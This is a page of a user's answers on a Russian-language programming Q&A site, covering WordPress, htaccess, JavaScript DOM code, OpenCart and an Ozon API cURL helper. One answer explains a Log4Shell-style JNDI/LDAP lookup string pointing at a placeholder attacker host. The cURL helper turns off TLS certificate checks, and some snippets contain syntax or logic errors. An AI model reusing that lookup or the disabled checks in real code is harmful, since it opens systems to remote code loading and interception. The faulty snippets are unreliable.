Задать вопрос
  • Как оптимизировать производительность сайта со стороны скриптов js?

    Rst0
    @Rst0
    например в head:
    <link rel="preload" href="/js/app.js" as="script">
    тема обширная, загуглите по этим словам, так проще будет
    prefetch, preload, preconnect, dns-prefetch, prerender
    workers

    рекомендую
    Ответ написан
    Комментировать
  • Ya nemogu blokirovat wp-admin panel po IP adresu na WordPress?

    Rst0
    @Rst0
    в файле wp-login.php после <?php
    можно вставить такой код
    if($_SERVER['REMOTE_ADDR']) =='127.0.0.1') { // ip для примера
    die('доступ закрыт');
    }
    Ответ написан
    3 комментария
  • Как сделать так чтобы с index.php?

    Rst0
    @Rst0
    Все запросы, кроме существующих файлов и папок будут на index.php
    <IfModule mod_rewrite.c>
     # Запускаем движок замены
    RewriteEngine on
    # Не применять к существующим директориям
    RewriteCond %{REQUEST_FILENAME} !-d
    # Не применять к существующим файлам файлам
     RewriteCond %{REQUEST_FILENAME} !-f
    # если запрашиваемый объект с дописанным расширением php - файл
    # RewriteCond %{REQUEST_FILENAME}\.php -f
    # делаем замену с дописыванием .php
    # RewriteRule ^(.*)$ $1.php
    # или Редирект всех запросов на index.php
    # RewriteRule .* index.php [L]
    RewriteRule ^(.*)$ index.php?url_param=$1 [L,QSA]
    </IfModule>
    Ответ написан
    Комментировать
  • Как поменять текст в select-option через "value"?

    Rst0
    @Rst0
    так можно:
    const options = document.querySelectorAll('#id_active > option');
    options[0].innerHTML = 'Да1';
    options[1].innerHTML = 'Нет1';
    Ответ написан
    1 комментарий
  • Как работает $post_class?

    Rst0
    @Rst0
    Код в шаблоне
    <div <?php post_class(); ?>>
          post 1
    <div>
    <div <?php post_class(); ?>>
         post 2
    <div>
    <div <?php post_class(); ?>>
        post 3
    <div>

    Выведет в браузер
    <div class="post gauthor">
        post 1
    <div>
    <div class="post gauthor">
        post 2
    <div>
    <div class="post gauthor">
        post 3
    <div>

    в style.css темы добавьте
    .post{
          color:  grey;
    }
    .post.gauthor{ 
          color: red;
    }

    и только в таких с классом 'gauthor' постах цвет будет красным, а остальных серым.

    вот описание
    post_class() │ WP 2.7.0
    Ответ написан
    Комментировать
  • Как отфильтровать через arrfilter в Битрикс, по свойству тип справочник?

    Rst0
    @Rst0
    Вот же подробный мануал с примером:
    Пример. Сортировка в компонентах
    Вы передавали переменную $sortField таким способом?
    Ответ написан
    Комментировать
  • Как в Opencart админу оставаться залогиненным?

    Rst0
    @Rst0
    в common.js админки добавить
    function serverPing() {
          $.ajax({ url: location.href });      // <--  добавить  до  2
       }
    $(document).ready(function() {       // <-- найти эту строку   1
    
       setInterval('serverPing()', 30000);    // <-- добавить после   3

    залогиниться и не закрывать вкладку
    Ответ написан
  • Почему не пускает в админ-панель ocStore 3.0.3.7?

    Rst0
    @Rst0
    что в логах сервера и админки ?
    Ответ написан
    Комментировать
  • Почему хром не отображает SVG, созданный через JS?

    Rst0
    @Rst0
    const openedEye = 'M8 1.488c-5.302 0-8 5.21-8 6.512 0 1.302 2.791 6.512 8 6.512S16 9.302 16 8c0-1.302-2.698-6.512-8-6.512zm0 10.233A3.731 3.731 0 014.279 8 3.731 3.731 0 018 4.279 3.731 3.731 0 0111.721 8 3.731 3.731 0 018 11.721zM8 6c1.143 0 2 .953 2 2 0 1.143-.952 2-2 2-1.143 0-2-.952-2-2 0-1.142.857-2 2-2z';
    
    var el = document.querySelector('body'); <!-- не html, а body --->
    const xmlns = "http://www.w3.org/2000/svg";
    const toggleContainer = document.createElement('div');
    toggleContainer.classList.add('_toggle');
    el.append(toggleContainer);
    
    // svg
    const svgEl = document.createElementNS(xmlns, 'svg');
    
    svgEl.setAttribute('width', '16');
    svgEl.setAttribute('height', '16');
    svgEl.setAttribute('viewBox', '0 0 16 16');
    toggleContainer.append(svgEl);
    
    // path
    
    const pathEl = document.createElementNS(xmlns, "path"); <!-- path тоже NameSpace-->
    pathEl.setAttribute('fill-rule', 'evenodd');
    pathEl.setAttribute('d', openedEye);
    svgEl.append(pathEl);
    Ответ написан
    Комментировать
  • В логах увидел непонятную ошибку. Как понять откуда она?

    Rst0
    @Rst0
    1) похоже на вирусню, массовое сканирование уязвимости компонента JNDI на доступ к службе каталогов LDAP,
    часть имени JNDI заменена юникодом
    обычно в логах сервера дублируется чередой странных запросов.
    схема запроса выглядит так:
    ${jndi:ldap://attacker_controled_website/payload_to_...}

    2) X-Forwarded-Host не понятен для symfony

    3) ip 185.8.172.132 порт 1389 папка ND5E6PX вам ни о чем не говорят - см. пункт первый.
    Ответ написан
    Комментировать
  • Как вывести на страницу typeof input?

    Rst0
    @Rst0
    const types = {                                    /* ключ :  ' что выводить'  -  отредактируйте сами*/
        'undefined': 'undefined',
        'object':   'object/oser',
        'boolean':   'bool',
        'number':    'number',
        'string':    'string',
        'symbol':    'symbol',
        'function':  'func',
    }
    let current_type = i12.value;                                            // значение input
    if (typeof types[typeof current_type] !== "undefined") {    // если существует такой ключ в объекте, то
         div12.innerHTML = types[typeof i12]+'';                     //  выводим в блоке  div12
    }else{                                                                                //   иначе
         div12.innerHTML = '';                                                   //  очищаем блок      div12   -  value = ""
    }
    Ответ написан
    4 комментария
  • Как настроить пагинацию WordPress под мою разметку?

    Rst0
    @Rst0
    если правильно понял :
    <?php
         $prev_url = get_permalink( get_adjacent_post(false,'',true) ->ID ); // предыдущая
         $next_url = get_permalink( get_adjacent_post(false,'',false)->ID ); // следующая
         $current_num   = (get_query_var('paged')) ? get_query_var('paged') : 1; // номер текущей
    ?>
            <div class="jbtn_wrapper">
    <?php if($prev_url !== false){?>
              <button type="button" class="prev" onclick="window.location.href = '<?=$prev_url?>';">Назад</button>
    <?php } ?>
    
    <?php if($next_url !== false)?>
              <button type="button" class="next" onclick="window.location.href = '<?=$next_url?>';">Далее</button>
    <?php } ?>
              <div class="arrow_body">
    
                <div class="arrow"><ion-icon name="chevron-back-outline"></ion-icon></div>
                <input type="number" min="1" value="<?=$current_num?>" class="num_page">
                <div class="arrow"><ion-icon name="chevron-forward-outline"></ion-icon></div>
    
              </div>
    
            </div>
    Ответ написан
  • Как из верстки вытащить переменные в файл css?

    Rst0
    @Rst0
    вставьте в конец файла перед закрывающим тегом body или в консоль
    скрипт создаст список всех классов и ID на странице и выведет текстовое поле - копируйте и вставляйте.
    тегов div span и т.д. в списке не будет - сами справитесь)

    const textarea = document.createElement('TEXTAREA');
     document.querySelector('body').appendChild(textarea);
     textarea.innerHTML = '';
     const el = document.querySelectorAll('*');
     var css_list = '';
     for(var i = 0; i < el.length; i++){
    	if(el[i].id!==''){
                   textarea.innerHTML += '#'+el[i].id+'{}\n';
    	}
    	if(el[i].classList.length > 0){
     	       for(var c = 0; c < el[i].classList.length; c++){
                           textarea.innerHTML += '.'+el[i].classList[c]+'{}\n';
                                 console.log(el[i].classList[c]);
                           }
                    }
    	}
    Ответ написан
    Комментировать
  • Ошибка с tinyMCE, почему не работает?

    Rst0
    @Rst0
    В браузере devtools вкладка `Источники` - он там вообще есть?
    Инит до вызова функции был?
    tinymce.init({
      selector: 'textarea',  // change this value according to your HTML
      auto_focus: 'element1'
    });

    ну и регистр у `tinymce`
    Ответ написан
    5 комментариев
  • Не могу отправить запрос API curl ozon-seller?

    Rst0
    @Rst0
    curl_setopt($curl, CURLOPT_HEADER, falsse) // < --  SS

    Client-Id и Api-Key проверьте
    в заголовке 'Host: api-seller.ozon.ru' нужен

    Почти универсальная функция:
    // POST -запрос к серверу
    $curl_cookie = '';
    $curl_error  = false;
    $headers = array(
       'Host: api-seller.ozon.ru',
       'Client-Id:  cID',
       'Api-Key:  token',
       'Content-Type: application/json'
    );
    $url = 'https://api-seller.ozon.ru/v1/product/import/stocks';
    $arguments = array(
      'offer_id' => '4574950',
      'product_id' => 492575182,
      'stock' => 0	
      
    );
    function web_post( $url, $arguments = [], $headers =  '', $sleep = 0, $timeout = 600 ) {
    
        global $curl_error,  $curl_cookie; 
    
        if( $sleep > 0 ){
           sleep( $sleep );
        }
    
        $ch = curl_init();
    
        $copt = [ 
           CURLOPT_URL => $url, 
           CURLOPT_COOKIE => $curl_cookie,
           CURLOPT_POST  => 1, 
           CURLOPT_POSTFIELDS  => $arguments,
           CURLOPT_COOKIESESSION  => 1, 
           CURLOPT_SSL_VERIFYHOST => 0, 
           CURLOPT_SSL_VERIFYPEER => 0, 
           CURLOPT_VERBOSE  => 0,
           CURLOPT_FOLLOWLOCATION => 1, 
           CURLOPT_UNRESTRICTED_AUTH => 1,
           CURLOPT_FAILONERROR => 1, 
           CURLOPT_AUTOREFERER  => 1, 
           CURLOPT_TIMEOUT  => $timeout, 
           CURLOPT_CONNECTTIMEOUT => $timeout, 
           CURLOPT_RETURNTRANSFER => 1,
           CURLOPT_HTTPHEADER  => $headers
       ];
    
       curl_setopt_array($ch,$copt); 
    
       if(false === ( $data = curl_exec( $ch ))){
            $curl_error = curl_error($ch);
       }
       curl_close($ch);
       return $data; 
    }
    
    print_r(web_post( $url, json_encode( $arguments ), $headers));
    Ответ написан
    Комментировать
  • Как сделать аккордеон в таблице?

    Rst0
    @Rst0
    немного дополню ответ twobomb
    <tr class="panel">
          <td colspan="2">Создалось после клика на td выше</td>  <!--  тут ячейка двойная, в таблице три колонки  -->
          <td >4</td> 
    </tr>

    .panel{
         display:none;
    }
    .panel.active{ 
         display: table-row; 
    } // это ведь таблица, а не блок
    Ответ написан
    Комментировать
  • Как вывести нужные данные из строки json в div при запросе к php?

    Rst0
    @Rst0
    HTML
    <div class="out"></div>
     <!-- пустой div для вывода данных-->

    JS
    // в скобках JSON.parse() ответ сервера json
    const answer = JSON.parse('[{"conf":{"type":"text","tech_type":"js","parser":"jq","comm1":"5mr","comm2":"priv","name":"Petr","f_name":"Ivanov","enable":"no"}}]')[0].conf;  
    
    const out = document.querySelector('.out'); // находим div 
    
    out.innerHTML =''; // очищаем его 
    for (key in answer) {    //перебираем объект 
          out.innerHTML += '<div id="'+key+'">'+answer[key]+'</div>'; добавляем внутрь out 
    
    }
    Ответ написан
    Комментировать
  • Как в форму html передать php кнопку?

    Rst0
    @Rst0
    в PHP выше кнопки в коде в любом месте
    echo "<script>const tg_href = 'tg://resolve?domain=" . $config['bot'] . "&start=" . $key . "&id=auth';</script>";


    затем пропишите в кнопку HTML
    <button onclick="window.open('tg_href');"

    Проверьте ссылку в переменной tg_href, чтоб соответствовала вашей реальной ссылке
    Ответ написан
    Комментировать
  • Насколько рабочим будет мультифильтр по атрибуту элемента?

    Rst0
    @Rst0
    поддержка `data-` ie 11+. остальные ок.
    <li data-filter="">
    уместно поменять на
    <li data-target="">
    тогда
    $("#grid-filter li").click(function() {
        var group = $(this).data('target');
    	var group_class = "." + group; // БЫЛО по классу  (переменную назовите group_attr чтоб не вспоминать через год)
        var selector =  '[data-filter~="' + group + '"]'; // по атрибуту - (меньше селектор = меньше проверок)


    `data-` медленнее, чем `class` при большом количестве элементов списка
    Ответ написан
    2 комментария
  • Неправильная подсветка VS Code, как настроить?

    Rst0
    @Rst0
    1) в settings.json добавьте секцию:
    "workbench.colorCustomizations": {
            "editorIndentGuide.background": "#00ff00",
            "editorIndentGuide.activeBackground": "#ff0000",
    }

    это переопределит настройки любой вашей текущей темы.
    полоски подсвечивают активный отступ, а не парный тег.
    полный список свойств
    https://code.visualstudio.com/api/references/theme...
    главное, есть две секции с настройками (общие и редактор) и пишутся они немного по разному:
    workbench.colorCustomizations": {
            "editor.foreground": "#d4d4d4"
    },
    "editor.tokenColorCustomizations":{
     "textMateRules": [
              {
                  "name": "operator logical",
                  "scope": "keyword.operator.logical",
                  "settings": {
                    "foreground": "#eeaf51"
                  }
               }
    ]
    }

    Сервис для создания собственных тем
    https://themes.vscode.one/
    Ответ написан